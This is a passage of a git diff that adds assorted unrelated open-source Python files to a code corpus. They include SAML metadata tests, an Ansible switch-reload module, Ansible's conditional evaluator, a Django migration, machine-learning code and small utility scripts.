serialized = desc.to_dict() + org_info = serialized["organization"] + assert org_info["display_name"] == [("Foo Testing", "en")] + assert org_info["name"] == [("Testing Co.", "en")] + assert org_info["url"] == [("https://test.example.com", "en")] + + def test_to_dict_with_empty(self): + desc = OrganizationDesc() + assert desc.to_dict() == {} + + +class TestMetadataDescription(object): + def test_to_dict(self): + org_desc = OrganizationDesc() + org_desc.add_display_name("Foo Testing", "en") + org_desc.add_name("Testing Co.", "en") + org_desc.add_url("https://test.example.com", "en") + + contact_desc = ContactPersonDesc() + contact_desc.contact_type = "test" + contact_desc.given_name = "First" + contact_desc.sur_name = "Tester" + contact_desc.add_email_address("first_tester@example.com") + + ui_desc = UIInfoDesc() + ui_desc.add_description("test", "en") + ui_desc.add_display_name("my company", "en") + ui_desc.add_logo("http://example.com/logo.jpg", 80, 80, "en") + + desc = MetadataDescription("my_entity") + desc.organization = org_desc + desc.add_contact_person(contact_desc) + desc.ui_info = ui_desc + + serialized = desc.to_dict() + assert serialized["entityid"] == "my_entity" + assert serialized["organization"] + assert serialized["contact_person"] + assert serialized["service"]["idp"]["ui_info"] + + def test_set_organization_rejects_bad_input(self): + desc = MetadataDescription("my_entity") + with pytest.raises(TypeError): + desc.organization = "bad input" + + def test_add_contact_person_rejects_bad_input(self): + desc = MetadataDescription("my_entity") + with pytest.raises(TypeError): + desc.add_contact_person("bad input") + + def test_set_ui_info_rejects_bad_input(self): + desc = MetadataDescription("my_entity") + with pytest.raises(TypeError): + desc.ui_info = "bad input" diff --git a/pool/shard009/Python/0081969_bench_corpus.py b/pool/shard009/Python/0081969_bench_corpus.py new file mode 100644 index 0000000000000000000000000000000000000000..2114cd22eea516352b7b0ac52deb0032d28ca324 --- /dev/null +++ b/pool/shard009/Python/0081969_bench_corpus.py @@ -0,0 +1,46 @@ +import array +import timeit + +import numpy as np +import scipy.sparse as sp + +from glove import Corpus +from glove.glove import check_random_state + + +def generate_training_corpus(num_sentences, + vocabulary_size=30000, + sentence_min_size=2, + sentence_max_size=30, + seed=None): + + rs = check_random_state(seed) + + for _ in range(num_sentences): + sentence_size = rs.randint(sentence_min_size, + sentence_max_size) + yield [str(x) for x in + rs.randint(0, vocabulary_size, sentence_size)] + + +def fit_corpus(corpus): + + model = Corpus() + model.fit(corpus) + + return corpus + + +if __name__ == '__main__': + + number = 10 + + elapsed = timeit.timeit('fit_corpus(corpus)', + setup=('from __main__ import generate_training_corpus;' + 'from __main__ import fit_corpus;' + 'corpus = list(generate_training_corpus(100000, seed=10))'), + number=number) + + one_loop_time = elapsed / number + + print('Seconds per fit: %s' % one_loop_time) diff --git a/pool/shard009/Python/0081974_RadixSortTest.py b/pool/shard009/Python/0081974_RadixSortTest.py new file mode 100644 index 0000000000000000000000000000000000000000..23b83fb76366d4e2fb8d29f7143dcb954b62f8ce --- /dev/null +++ b/pool/shard009/Python/0081974_RadixSortTest.py @@ -0,0 +1,101 @@ +########################################################################## +# +# Copyright (c) 2008, Image Engine Design Inc. All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are +# met: +# +# * Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# +# * Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# +# * Neither the name of Image Engine Design nor the names of any +# other contributors to this software may be used to endorse or +# promote products derived from this software without specific prior +# written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS +# IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, +# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# +########################################################################## + +import random +import unittest +import IECore + +class RadixSortTest( unittest.TestCase ) : + + def testFloat( self ) : + + random.seed( 12 ) + + s = IECore.RadixSort() + + d = IECore.FloatVectorData() + + for i in range( 0, 10000 ): + d.append( random.uniform( IECore.FloatData().minValue, IECore.FloatData().maxValue ) ) + + idx = s.sort( d ) + + self.assertEqual( len(idx), 10000 ) + + for i in range( 1, 10000 ): + + self.assert_( d[ idx[ i ] ] >= d[ idx[ i - 1 ] ] ) + + def testInt( self ) : + + random.seed( 13 ) + + s = IECore.RadixSort() + + d = IECore.IntVectorData() + + for i in range( 0, 10000 ): + d.append( int( random.uniform( IECore.IntData().minValue, IECore.IntData().maxValue ) ) ) + + idx = s.sort( d ) + + self.assertEqual( len(idx), 10000 ) + + for i in range( 1, 10000 ): + + self.assert_( d[ idx[ i ] ] >= d[ idx[ i - 1 ] ] ) + + def testUInt( self ) : + + random.seed( 14 ) + + s = IECore.RadixSort() + + d = IECore.UIntVectorData() + + for i in range( 0, 10000 ): + d.append( int( random.uniform( IECore.UIntData().minValue, IECore.UIntData().maxValue ) ) ) + + idx = s.sort( d ) + + self.assertEqual( len(idx), 10000 ) + + for i in range( 1, 10000 ): + + self.assert_( d[ idx[ i ] ] >= d[ idx[ i - 1 ] ] ) + + +if __name__ == "__main__": + unittest.main() + diff --git a/pool/shard009/Python/0081979_cnos_reload.py b/pool/shard009/Python/0081979_cnos_reload.py new file mode 100644 index 0000000000000000000000000000000000000000..01e6d7778b2282b278ac42f660794ab4c251e56d --- /dev/null +++ b/pool/shard009/Python/0081979_cnos_reload.py @@ -0,0 +1,145 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +# +# Copyright (C) 2017 Lenovo, Inc. +# +# This file is part of Ansible +# +# Ansible is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Ansible is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Ansible. If not, see . +# +# Module to reload Lenovo Switches +# Lenovo Networking +# + +ANSIBLE_METADATA = {'metadata_version': '1.1', + 'status': ['preview'], + 'supported_by': 'community'} + + +DOCUMENTATION = ''' +--- +module: cnos_reload +author: "Dave Kasberg (@dkasberg)" +short_description: Perform switch restart on devices running Lenovo CNOS +description: + - This module allows you to restart the switch using the current startup configuration. + The module is usually invoked after the running configuration has been saved over the startup configuration. + This module uses SSH to manage network device configuration. + The results of the operation can be viewed in results directory. + For more information about this module from Lenovo and customizing it usage for your + use cases, please visit U(http://systemx.lenovofiles.com/help/index.jsp?topic=%2Fcom.lenovo.switchmgt.ansible.doc%2Fcnos_reload.html) +version_added: "2.3" +extends_documentation_fragment: cnos +options: {} + +''' +EXAMPLES = ''' +Tasks : The following are examples of using the module cnos_reload. These are written in the main.yml file of the tasks directory. +--- +- name: Test Reload + cnos_reload: + host: "{{ inventory_hostname }}" + username: "{{ hostvars[inventory_hostname]['username'] }}" + password: "{{ hostvars[inventory_hostname]['password'] }}" + deviceType: "{{ hostvars[inventory_hostname]['deviceType'] }}" + enablePassword: "{{ hostvars[inventory_hostname]['enablePassword'] }}" + outputfile: "./results/test_reload_{{ inventory_hostname }}_output.txt" +''' +RETURN = ''' +msg: + description: Success or failure message + returned: always + type: string + sample: "Device is Reloading. Please wait..." +''' + +import sys +import paramiko +import time +import argparse +import socket +import array +import json +import time +import re +try: + from ansible.module_utils import cnos + HAS_LIB = True +except: + HAS_LIB = False +from ansible.module_utils.basic import AnsibleModule +from collections import defaultdict + + +def main(): + module = AnsibleModule( + argument_spec=dict( + outputfile=dict(required=True), + host=dict(required=True), + username=dict(required=True), + password=dict(required=True, no_log=True), + enablePassword=dict(required=False, no_log=True), + deviceType=dict(required=True),), + supports_check_mode=False) + + username = module.params['username'] + password = module.params['password'] + enablePassword = module.params['enablePassword'] + cliCommand = "reload \n" + outputfile = module.params['outputfile'] + hostIP = module.params['host'] + deviceType = module.params['deviceType'] + output = "" + + # Create instance of SSHClient object + remote_conn_pre = paramiko.SSHClient() + + # Automatically add untrusted hosts (make sure okay for security policy in your environment) + remote_conn_pre.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + + # initiate SSH connection with the switch + remote_conn_pre.connect(hostIP, username=username, password=password) + time.sleep(2) + + # Use invoke_shell to establish an 'interactive session' + remote_conn = remote_conn_pre.invoke_shell() + time.sleep(2) + + # Enable and enter configure terminal then send command + output = output + cnos.waitForDeviceResponse("\n", ">", 2, remote_conn) + + output = output + cnos.enterEnableModeForDevice(enablePassword, 3, remote_conn) + + # Make terminal length = 0 + output = output + cnos.waitForDeviceResponse("terminal length 0\n", "#", 2, remote_conn) + + # Send the CLi command + output = output + cnos.waitForDeviceResponse(cliCommand, "(y/n):", 2, remote_conn) + + # Send the Confirmation y + output = output + cnos.waitForDeviceResponse("y\n", "#", 2, remote_conn) + + # Save it into the file + file = open(outputfile, "a") + file.write(output) + file.close() + + errorMsg = cnos.checkOutputForError(output) + if(errorMsg in "Device Response Timed out"): + module.exit_json(changed=True, msg="Device is Reloading. Please wait...") + else: + module.fail_json(msg=errorMsg) + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0081984_0064_journals_cleanup.py b/pool/shard009/Python/0081984_0064_journals_cleanup.py new file mode 100644 index 0000000000000000000000000000000000000000..5b329a6a24a692e625930f4fd471b67f0cd36b6b --- /dev/null +++ b/pool/shard009/Python/0081984_0064_journals_cleanup.py @@ -0,0 +1,43 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11.29 on 2021-08-15 15:54 +from __future__ import unicode_literals + +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + dependencies = [ + ("leprikon", "0063_journals"), + ] + + operations = [ + migrations.RemoveField( + model_name="journalentry", + name="subject", + ), + migrations.RemoveField( + model_name="subject", + name="evaluation", + ), + migrations.RemoveField( + model_name="subject", + name="plan", + ), + migrations.RemoveField( + model_name="subject", + name="risks", + ), + migrations.AlterField( + model_name="journalentry", + name="journal", + field=models.ForeignKey( + editable=False, + on_delete=django.db.models.deletion.PROTECT, + related_name="journal_entries", + to="leprikon.Journal", + verbose_name="journal", + ), + ), + ] diff --git a/pool/shard009/Python/0081989_test_archive.py b/pool/shard009/Python/0081989_test_archive.py new file mode 100644 index 0000000000000000000000000000000000000000..47cdad4dfea5c7ad487271e304305c54a3f04f47 --- /dev/null +++ b/pool/shard009/Python/0081989_test_archive.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# -*- coding: utf8 -*- + +import agate + +import agateremote + + +class TestArchive(agate.AgateTestCase): + def setUp(self): + self.archive = agateremote.Archive('https://github.com/vincentarelbundock/Rdatasets/raw/master/csv/') + + def test_get_table(self): + table = self.archive.get_table('sandwich/PublicSchools.csv') + + self.assertColumnNames(table, ('a', 'Expenditure', 'Income')) + self.assertColumnTypes(table, [agate.Text, agate.Number, agate.Number]) + self.assertEqual(len(table.rows), 51) diff --git a/pool/shard009/Python/0081992_SdA.py b/pool/shard009/Python/0081992_SdA.py new file mode 100644 index 0000000000000000000000000000000000000000..5ad60109b4a5ab1526fe269053732fa5d815d7fd --- /dev/null +++ b/pool/shard009/Python/0081992_SdA.py @@ -0,0 +1,157 @@ +#-*- coding: utf-8 -*- + +from abc import ABCMeta, abstractmethod +import copy +import numpy as np +from sklearn.base import BaseEstimator, ClassifierMixin, RegressorMixin +from sklearn.externals.six import with_metaclass +from chainer import Variable, FunctionSet, optimizers, cuda +import chainer.functions as F +from .dA import dA +from . import utils + + +class SdAMixin(with_metaclass(ABCMeta, BaseEstimator)): + """ + Stacked Denoising Autoencoder + + References: + http://deeplearning.net/tutorial/SdA.html + https://github.com/pfnet/chainer/blob/master/examples/mnist/train_mnist.py + """ + def __init__(self, n_input, n_hiddens, n_output, noise_levels=None, dropout_ratios=None, do_pretrain=True, + batch_size=100, n_epoch_pretrain=20, n_epoch_finetune=20, optimizer=optimizers.Adam(), + activation_func=F.relu, verbose=False, gpu=-1): + self.n_input = n_input + self.n_hiddens = n_hiddens + self.n_output = n_output + self.do_pretrain = do_pretrain + self.batch_size = batch_size + self.n_epoch_pretrain = n_epoch_pretrain + self.n_epoch_finetune = n_epoch_finetune + self.optimizer = optimizer + self.dAs = \ + [dA(self.n_input, self.n_hiddens[0], + self._check_var(noise_levels, 0), self._check_var(dropout_ratios, 0), self.batch_size, + self.n_epoch_pretrain, copy.deepcopy(optimizer), + activation_func, verbose, gpu)] + \ + [dA(self.n_hiddens[i], self.n_hiddens[i + 1], + self._check_var(noise_levels, i + 1), self._check_var(dropout_ratios, i + 1), self.batch_size, + self.n_epoch_pretrain, copy.deepcopy(optimizer), + activation_func, verbose, gpu) for i in range(len(n_hiddens) - 1)] + self.verbose = verbose + self.gpu = gpu + + + def _check_var(self, var, index, default_val=0.0): + return var[index] if var is not None else default_val + + + def fit(self, X, y): + if self.do_pretrain: + self._pretrain(X) + self._finetune(X, y) + + + def _pretrain(self, X): + for layer, dA in enumerate(self.dAs): + utils.disp('*** pretrain layer: {} ***'.format(layer + 1), self.verbose) + if layer == 0: + layer_input = X + else: + layer_input = self.dAs[layer - 1].encode(Variable(layer_input), train=False).data + dA.fit(layer_input) + + + def _finetune(self, X, y): + utils.disp('*** finetune ***', self.verbose) + # construct model and setup optimizer + params = {'l{}'.format(layer + 1): dA.encoder for layer, dA in enumerate(self.dAs)} + params.update({'l{}'.format(len(self.dAs) + 1): F.Linear(self.dAs[-1].n_hidden, self.n_output)}) + self.model = FunctionSet(**params) + self.optimizer.setup(self.model) + if self.gpu >= 0: + cuda.get_device(self.gpu).use() + self.model.to_gpu() + xp = cuda.cupy if self.gpu >= 0 else np + + n = len(X) + for epoch in range(self.n_epoch_finetune): + utils.disp('epoch: {}'.format(epoch + 1), self.verbose) + + perm = np.random.permutation(n) + sum_loss = 0 + for i in range(0, n, self.batch_size): + X_batch = xp.asarray(X[perm[i: i + self.batch_size]]) + y_batch = xp.asarray(y[perm[i: i + self.batch_size]]) + + self.optimizer.zero_grads() + y_var = self._forward(X_batch) + loss = self._loss_func(y_var, Variable(y_batch)) + loss.backward() + self.optimizer.update() + + sum_loss += float(loss.data) * len(X_batch) + + utils.disp('fine tune mean loss={}'.format(sum_loss / n), self.verbose) + + + def _forward(self, X, train=True): + X_var = Variable(X) + output = X_var + for dA in self.dAs: + output = dA.encode(output, train) + y_var = self.model['l{}'.format(len(self.dAs) + 1)](output) + return y_var + + + @abstractmethod + def _loss_func(self, y_var, t_var): + pass + + +class SdAClassifier(SdAMixin, ClassifierMixin): + """ + + References: + http://scikit-learn.org/stable/developers/#rolling-your-own-estimator + """ + def _loss_func(self, y_var, t_var): + return F.softmax_cross_entropy(y_var, t_var) + + + def fit(self, X, y): + assert X.dtype == np.float32 and y.dtype == np.int32 + super().fit(X, y) + + + def transform(self, X): + return self._forward(X, train=False).data + + + def predict(self, X): + return np.apply_along_axis(lambda x: np.argmax(x), arr=self.transform(X), axis=1) + + +class SdARegressor(SdAMixin, RegressorMixin): + """ + + References: + http://scikit-learn.org/stable/developers/#rolling-your-own-estimator + """ + def _loss_func(self, y_var, t_var): + y_var = F.reshape(y_var, [len(y_var)]) + return F.mean_squared_error(y_var, t_var) + + + def fit(self, X, y): + assert X.dtype == np.float32 and y.dtype == np.float32 + super().fit(X, y) + + + def transform(self, X): + return self._forward(X, train=False).data + + + def predict(self, X): + return self.transform(X) diff --git a/pool/shard009/Python/0081995_generate_metanetx_database.py b/pool/shard009/Python/0081995_generate_metanetx_database.py new file mode 100644 index 0000000000000000000000000000000000000000..64d0e7d15926c6c8049c33c20fabc2ba1e9d22cb --- /dev/null +++ b/pool/shard009/Python/0081995_generate_metanetx_database.py @@ -0,0 +1,85 @@ +"""A script to generate a metanetx database. + +The purpose of the metanetx database is to provide mapping +from InChI keys to a number of database identifiers. This database +will then populate the website if there is an inchi match. + +Running this script requires downloading the following from +https://www.metanetx.org/mnxdoc/mnxref.html + + 1. chem_xref.tsv + 2. chem_prop.tsv + +The data version used is based on the description in the header: +#Based on the following resources: +# +#RESOURCE: MetaNetX/MNXref +#VERSION: 4.1 +#DATE: 2020/09/17 +#URL: https://www.metanetx.org +""" +from pathlib import Path + +import pandas as pd + +from collections import defaultdict +import pymongo + +pwd = Path(__file__) +pwd = pwd.parent +METANETX_PATH = (pwd / "../local_data/metanetx").resolve() + +def get_cross_references(row): + current_reference = {} + + if ":" in row["#source"]: + current_reference["source"] = row["#source"].split(":")[0] + current_reference["source_id"] = row["#source"].split(":")[1] + else: + current_reference["source"] = row["#source"] + current_reference["source_id"] = row["#source"] + current_reference["description"] = ( + row["description"] if not pd.isna(row["description"]) + else None + ) + cross_ref_dict[row.ID].append(current_reference) + + +def get_db_entry(row): + dict_for_db[row["#ID"]] = { + "mnxm_id": row["#ID"], + "Inchikey": row.InChIKey, + "primary_reference": row.reference, + "cross_references": cross_ref_dict[row["#ID"]] + } + + +if __name__ == "__main__": + # First step: Generate panda dfs of the xref and props + skiprows = 347 + chem_prop_df = pd.read_csv( + METANETX_PATH / "chem_prop.tsv", + delimiter="\t", + skiprows=skiprows + ) + chem_prop_df = chem_prop_df[~chem_prop_df["InChIKey"].isna()] + chem_prop_df = chem_prop_df[~chem_prop_df["formula"].isna()] + + chem_xref_df = pd.read_csv( + METANETX_PATH / "chem_xref.tsv", + delimiter="\t", + skiprows=skiprows + ) + + # Map functions on pandas dataframes to populate dictionaries + cross_ref_dict = defaultdict(list) + dict_for_db = dict() + + chem_xref_df.apply(get_cross_references, axis=1) + chem_prop_df.apply(get_db_entry, axis=1) + + print("Inserting into Mongo.") + mongo_uri = open(pwd / "../mongo_uri.csv").readline().strip("\n") + client = pymongo.MongoClient(mongo_uri) + client.compound_references.data.insert_many(dict_for_db.values(), ordered=False) + client.compound_references.data.create_index("Inchikey") diff --git a/pool/shard009/Python/0081997_request.py b/pool/shard009/Python/0081997_request.py new file mode 100644 index 0000000000000000000000000000000000000000..d8a363bd284b1ecd7124f2b2e00c919ababba62d --- /dev/null +++ b/pool/shard009/Python/0081997_request.py @@ -0,0 +1,38 @@ +from pyws.utils import DefaultStrImplemntationMixin, ENCODING + + +class Request(DefaultStrImplemntationMixin): + """ + Request objects contain request, this information is provided by adapters + in the way that pyws could handle it. + """ + + def __init__(self, tail, text, GET, POST, COOKIES): + """ + ``tail`` is everything left from URL to which pyws server is attached. + ``text`` is request text, ``GET``, ``POST`` and ``COOKIES`` are dicts + of the form ``{'param1': ['value1', 'value2'], ...}``. SOAP protocol + requires only the first two. + """ + self.tail = tail.strip('/') + self.text = text + self.GET = GET + self.POST = POST + self.COOKIES = COOKIES + + def __unicode__(self): + return u"""""" % ( + self.tail, + self.GET, + self.POST, + self.COOKIES, + self.text.strip().decode(ENCODING), + ) + diff --git a/pool/shard009/Python/0082003_pr14.py b/pool/shard009/Python/0082003_pr14.py new file mode 100644 index 0000000000000000000000000000000000000000..4c709139093e9f35cf1cbfd599b6ef522162c47d --- /dev/null +++ b/pool/shard009/Python/0082003_pr14.py @@ -0,0 +1,32 @@ +memo = {} + +def collatz_length(n, count=1, init=0): + global memo + if count == 1: + init = n + if n in memo: + value = count + memo[n] - 1 + memo[init] = value + return value + if n == 1: + memo[init] = count + return count + elif n % 2 == 0: + n = n / 2 + elif n % 2 == 1: + n = 3*n + 1 + count += 1 + return collatz_length(n, count, init) + +def pr14(n): + global memo + max = 0 + numb = 0 + for i in range(1, n): + current = collatz_length(i) + if current > max: + max = current + numb = i + return numb + +print pr14(1000000) diff --git a/pool/shard009/Python/0082009_utils.py b/pool/shard009/Python/0082009_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..3d021388cb3796aac481e629a362d81be09111df --- /dev/null +++ b/pool/shard009/Python/0082009_utils.py @@ -0,0 +1,20 @@ +import datetime +import math +import re + +from django.utils.html import strip_tags + + +def count_words(html_string): + word_string = strip_tags(html_string) + matching_words = re.findall(r'\w+',word_string) + count = len(matching_words) + return count + + +def get_read_time(html_string): + count = count_words(html_string) + read_time_min = math.ceil(count/200.0) + # read_time_sec = read_time_min * 60 + read_time = str(datetime.timedelta(minutes= read_time_min)) + return read_time diff --git a/pool/shard009/Python/0082011_urls.py b/pool/shard009/Python/0082011_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..3941122d2646ace5566a3edae7c9572aa74c0f34 --- /dev/null +++ b/pool/shard009/Python/0082011_urls.py @@ -0,0 +1,24 @@ +"""narnia URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/1.10/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.conf.urls import url, include + 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) +""" +from django.conf.urls import include +from django.conf.urls import url +from django.contrib import admin + +urlpatterns = [ + url(r'^', include('cmdb.urls')), + url(r'^admin/', admin.site.urls), + url(r'^adminlte/', include('adminlte.urls')), +] diff --git a/pool/shard009/Python/0082015_conditional.py b/pool/shard009/Python/0082015_conditional.py new file mode 100644 index 0000000000000000000000000000000000000000..0681482e7d9af6419a59ef827e41a2fc3c0c6921 --- /dev/null +++ b/pool/shard009/Python/0082015_conditional.py @@ -0,0 +1,242 @@ +# (c) 2012-2014, Michael DeHaan +# +# This file is part of Ansible +# +# Ansible is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Ansible is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Ansible. If not, see . + +# Make coding more python3-ish +from __future__ import (absolute_import, division, print_function) +__metaclass__ = type + +import ast +import re + +from jinja2.compiler import generate +from jinja2.exceptions import UndefinedError + +from ansible.errors import AnsibleError, AnsibleUndefinedVariable +from ansible.module_utils.six import text_type +from ansible.module_utils._text import to_native +from ansible.playbook.attribute import FieldAttribute +from ansible.template import Templar +from ansible.template.safe_eval import safe_eval + +try: + from __main__ import display +except ImportError: + from ansible.utils.display import Display + display = Display() + + +DEFINED_REGEX = re.compile(r'(hostvars\[.+\]|[\w_]+)\s+(not\s+is|is|is\s+not)\s+(defined|undefined)') +LOOKUP_REGEX = re.compile(r'lookup\s*\(') +VALID_VAR_REGEX = re.compile("^[_A-Za-z][_a-zA-Z0-9]*$") + +class Conditional: + + ''' + This is a mix-in class, to be used with Base to allow the object + to be run conditionally when a condition is met or skipped. + ''' + + _when = FieldAttribute(isa='list', default=[]) + + def __init__(self, loader=None): + # when used directly, this class needs a loader, but we want to + # make sure we don't trample on the existing one if this class + # is used as a mix-in with a playbook base class + if not hasattr(self, '_loader'): + if loader is None: + raise AnsibleError("a loader must be specified when using Conditional() directly") + else: + self._loader = loader + super(Conditional, self).__init__() + + def _validate_when(self, attr, name, value): + if not isinstance(value, list): + setattr(self, name, [ value ]) + + def _get_attr_when(self): + ''' + Override for the 'tags' getattr fetcher, used from Base. + ''' + when = self._attributes['when'] + if when is None: + when = [] + if hasattr(self, '_get_parent_attribute'): + when = self._get_parent_attribute('when', extend=True, prepend=True) + return when + + def extract_defined_undefined(self, conditional): + results = [] + + cond = conditional + m = DEFINED_REGEX.search(cond) + while m: + results.append(m.groups()) + cond = cond[m.end():] + m = DEFINED_REGEX.search(cond) + + return results + + def evaluate_conditional(self, templar, all_vars): + ''' + Loops through the conditionals set on this object, returning + False if any of them evaluate as such. + ''' + + # since this is a mix-in, it may not have an underlying datastructure + # associated with it, so we pull it out now in case we need it for + # error reporting below + ds = None + if hasattr(self, '_ds'): + ds = getattr(self, '_ds') + + try: + # this allows for direct boolean assignments to conditionals "when: False" + if isinstance(self.when, bool): + return self.when + + for conditional in self.when: + if not self._check_conditional(conditional, templar, all_vars): + return False + except Exception as e: + raise AnsibleError( + "The conditional check '%s' failed. The error was: %s" % (to_native(conditional), to_native(e)), obj=ds + ) + + return True + + def _check_conditional(self, conditional, templar, all_vars): + ''' + This method does the low-level evaluation of each conditional + set on this object, using jinja2 to wrap the conditionals for + evaluation. + ''' + + original = conditional + if conditional is None or conditional == '': + return True + + # pull the "bare" var out, which allows for nested conditionals + # and things like: + # - assert: + # that: + # - item + # with_items: + # - 1 == 1 + if conditional in all_vars and VALID_VAR_REGEX.match(conditional): + conditional = all_vars[conditional] + + if templar._clean_data(conditional) != conditional: + display.warning('when statements should not include jinja2 ' + 'templating delimiters such as {{ }} or {%% %%}. ' + 'Found: %s' % conditional) + + # make sure the templar is using the variables specified with this method + templar.set_available_variables(variables=all_vars) + + try: + # if the conditional is "unsafe", disable lookups + disable_lookups = hasattr(conditional, '__UNSAFE__') + conditional = templar.template(conditional, disable_lookups=disable_lookups) + if not isinstance(conditional, text_type) or conditional == "": + return conditional + + # update the lookups flag, as the string returned above may now be unsafe + # and we don't want future templating calls to do unsafe things + disable_lookups |= hasattr(conditional, '__UNSAFE__') + + # First, we do some low-level jinja2 parsing involving the AST format of the + # statement to ensure we don't do anything unsafe (using the disable_lookup flag above) + class CleansingNodeVisitor(ast.NodeVisitor): + def generic_visit(self, node, inside_call=False, inside_yield=False): + if isinstance(node, ast.Call): + inside_call = True + elif isinstance(node, ast.Yield): + inside_yield = True + elif isinstance(node, ast.Str): + if disable_lookups: + if inside_call and node.s.startswith("__"): + # calling things with a dunder is generally bad at this point... + raise AnsibleError( + "Invalid access found in the conditional: '%s'" % conditional + ) + elif inside_yield: + # we're inside a yield, so recursively parse and traverse the AST + # of the result to catch forbidden syntax from executing + parsed = ast.parse(node.s, mode='exec') + cnv = CleansingNodeVisitor() + cnv.visit(parsed) + # iterate over all child nodes + for child_node in ast.iter_child_nodes(node): + self.generic_visit( + child_node, + inside_call=inside_call, + inside_yield=inside_yield + ) + try: + e = templar.environment.overlay() + e.filters.update(templar._get_filters()) + e.tests.update(templar._get_tests()) + + res = e._parse(conditional, None, None) + res = generate(res, e, None, None) + parsed = ast.parse(res, mode='exec') + + cnv = CleansingNodeVisitor() + cnv.visit(parsed) + except Exception as e: + raise AnsibleError("Invalid conditional detected: %s" % to_native(e)) + + # and finally we generate and template the presented string and look at the resulting string + presented = "{%% if %s %%} True {%% else %%} False {%% endif %%}" % conditional + val = templar.template(presented, disable_lookups=disable_lookups).strip() + if val == "True": + return True + elif val == "False": + return False + else: + raise AnsibleError("unable to evaluate conditional: %s" % original) + except (AnsibleUndefinedVariable, UndefinedError) as e: + # the templating failed, meaning most likely a variable was undefined. If we happened + # to be looking for an undefined variable, return True, otherwise fail + try: + # first we extract the variable name from the error message + var_name = re.compile(r"'(hostvars\[.+\]|[\w_]+)' is undefined").search(str(e)).groups()[0] + # next we extract all defined/undefined tests from the conditional string + def_undef = self.extract_defined_undefined(conditional) + # then we loop through these, comparing the error variable name against + # each def/undef test we found above. If there is a match, we determine + # whether the logic/state mean the variable should exist or not and return + # the corresponding True/False + for (du_var, logic, state) in def_undef: + # when we compare the var names, normalize quotes because something + # like hostvars['foo'] may be tested against hostvars["foo"] + if var_name.replace("'", '"') == du_var.replace("'", '"'): + # the should exist is a xor test between a negation in the logic portion + # against the state (defined or undefined) + should_exist = ('not' in logic) != (state == 'defined') + if should_exist: + return False + else: + return True + # as nothing above matched the failed var name, re-raise here to + # trigger the AnsibleUndefinedVariable exception again below + raise + except Exception as new_e: + raise AnsibleUndefinedVariable( + "error while evaluating conditional (%s): %s" % (original, e) + ) + diff --git a/pool/shard009/Python/0082018_setup.py b/pool/shard009/Python/0082018_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..a2cec08281e93d9ae5a051915fc7d8871ab80ed2 --- /dev/null +++ b/pool/shard009/Python/0082018_setup.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# +# Copyright @ 2014 Mitchell Chu + +import io + +import torndsession + +try: + from setuptools import setup +except ImportError: + from distutils.core import setup + + +def read(*filenames, **kwargs): + encoding = kwargs.get('encoding', 'utf-8') + sep = kwargs.get('sep', '\n') + buf = [] + for filename in filenames: + with io.open(filename, encoding=encoding) as des_f: + buf.append(des_f.read()) + return sep.join(buf) + +version = torndsession.version +long_description = read("README.rst") + +setup( + name='torndsession', + version=version, + description="Session extensions for Tornado", + long_description=long_description, + classifiers=[ + 'License :: OSI Approved :: MIT License', + 'Topic :: Internet :: WWW/HTTP :: Session', + 'Programming Language :: Python :: 2.7', + 'Programming Language :: Python :: 3', + 'Environment :: Web Environment', + 'Intended Audience :: Developers', + 'Operating System :: OS Independent', + ], + keywords='torndsession tornado session redis memcached memory file python', + author="MitchellChu", + author_email="zxdjsj@126.com", + url="http://github.com/mitchellchu/torndsession", + license="MIT", + packages=["torndsession"], + include_package_data=True, + zip_safe=True, + install_requires=['tornado',], +) diff --git 